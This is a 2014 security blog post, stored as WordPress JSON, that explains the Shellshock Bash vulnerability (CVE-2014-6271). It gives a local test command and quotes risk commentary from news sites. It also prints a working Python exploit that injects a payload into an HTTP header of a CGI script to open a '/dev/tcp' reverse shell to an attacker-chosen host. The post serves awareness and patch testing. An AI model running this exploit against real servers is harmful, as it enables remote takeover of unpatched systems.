{"id":3798,"date":"2014-09-26T21:02:35","date_gmt":"2014-09-26T13:02:35","guid":{"rendered":"https:\/\/www.darknet.org.uk\/?p=3798"},"modified":"2015-09-09T19:36:45","modified_gmt":"2015-09-09T11:36:45","slug":"everything-need-know-shellshock-bug-bash","status":"publish","type":"post","link":"https:\/\/www.darknet.org.uk\/2014\/09\/everything-need-know-shellshock-bug-bash\/","title":{"rendered":"Everything You NEED To Know About Shellshock Bug In BASH"},"content":{"rendered":"

Shellshock (CVE-2014-6271<\/a>) the bug in BASH is causing havoc on the Internet this week, as far as I’m concerned it’s a bit overstated – seriously how many people are still using cgi scripts? None I hope. I do suspect though a lot of shared hosts might get owned by this as most commercial control panel software installs a \/cgi-bin\/ and sometimes a script by default.<\/p>\n

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka “ShellShock.” NOTE: the original fix for this issue was incorrect; CVE-2014-7169<\/a> has been assigned to cover the vulnerability that is still present after the incorrect fix.<\/p><\/blockquote>\n

\"Shellshock<\/><\/p>\n

We’ve been so focused on buffer overflows and memory stack bugs during the past decade, we’re currently getting owned by bugs from the 90s – which once again shows the need for proper code auditing on Open Source projects (and donations\/budget allocations for such activities).<\/p>\n

The other risk profile I see exposed here is devices like routers\/proxy boxes and so on that use some type of trimmed down regular Linux with BASH. I’ve seen some comments from the embedded community that this shouldn’t be an issue for them as they tend to use BusyBox<\/a> which is not vulnerable.<\/p>\n

To test for the vulnerability on your *nix systems just issue the following command as any user (doesn’t have to be root): <\/p>\n

env testbug='() { :;}; echo VULNERABLE' bash -c \"echo Hello\"<\/pre>\n
If you see this:<\/p>\n
VULNERABLE\r\nHello<\/pre>\n
It’s vulnerable, if it’s fixed or not vulnerable you should see this:<\/p>\n
bash: warning: testbug: ignoring function definition attempt\r\nbash: error importing function definition for `testbug'\r\nHello<\/pre>\n
As far as the risk, I definitely don’t think it’s a 10\/10 risk vulnerability, although there already 2 worms in the wild exploiting this bug to build botnets. I don’t think any reasonably well secured server will fall foul to this though, even without BASH updated it shouldn’t be an issue.<\/p>\n
But if you do find a vulnerable system with a cgi script, it’s trival to exploit and get a reverse shell with code such as this:<\/p>\n
#\r\n#CVE-2014-6271 cgi-bin reverse shell\r\n#\r\n\r\nimport httplib,urllib,sys\r\n\r\nif (len(sys.argv)<4):\r\n\tprint \"Usage: %s   \" % sys.argv[0]\r\n\tprint \"Example: %s localhost \/cgi-bin\/test.cgi 10.0.0.1\/8080\" % sys.argv[0]\r\n\texit(0)\r\n\r\nconn = httplib.HTTPConnection(sys.argv[1])\r\nreverse_shell=\"() { ignored;};\/bin\/bash -i >& \/dev\/tcp\/%s 0>&1\" % sys.argv[3]\r\n\r\nheaders = {\"Content-type\": \"application\/x-www-form-urlencoded\",\r\n\t\"test\":reverse_shell }\r\nconn.request(\"GET\",sys.argv[2],headers=headers)\r\nres = conn.getresponse()\r\nprint res.status, res.reason\r\ndata = res.read()\r\nprint data\r\n<\/pre>\n
I pretty much exclusitely use nginx so I don’t have the issues many will have, if you use Apache and have mod_cgi enabled – you may well be in trouble. Look out for servers with FTP\/Telnet\/Apache with something like Masscan<\/a> and sort them out as your primary\/production systems are pretty safe without any updates\/changes.<\/p>\n
Some views\/updates from others:<\/p>\n
The vulnerability is present in Bash up to and including version 4.3, and was discovered by Stephane Chazelas. It puts Apache web servers, in particular, at risk of compromise: CGI scripts that use or invoke Bash in any way \u2013 including any child processes spawned by the scripts \u2013 are vulnerable to remote-code injection. OpenSSH and some DHCP clients are also affected on machines that use Bash.<\/p><\/blockquote>\n
 – The Register<\/a><\/p>\n
It can be exploited by attackers looking to override or bypass environment restrictions to execute shell commands, i.e. unauthorized, malicious code.<\/p>\n
The flaw is deemed critical for many reasons. For one, the number of affected devices is huge: think about all the web servers (including Apache ones) and embedded devices (routers, etc.) running on Linux, Mac computers… The number could very well be in the hundreds of millions.<\/p>\n
Secondly, the US-CERT and NIST gave it the maximum score (10.0) for both impact and exploitability. Exploitation of the flaw can lead to unauthorized disclosure of information, unauthorized system access and modification, and disruption of service, and the exploitation process is extremely short and simple: it takes just a few lines of code.<\/p><\/blockquote>\n
 – Helpnet Security<\/a><\/p>\n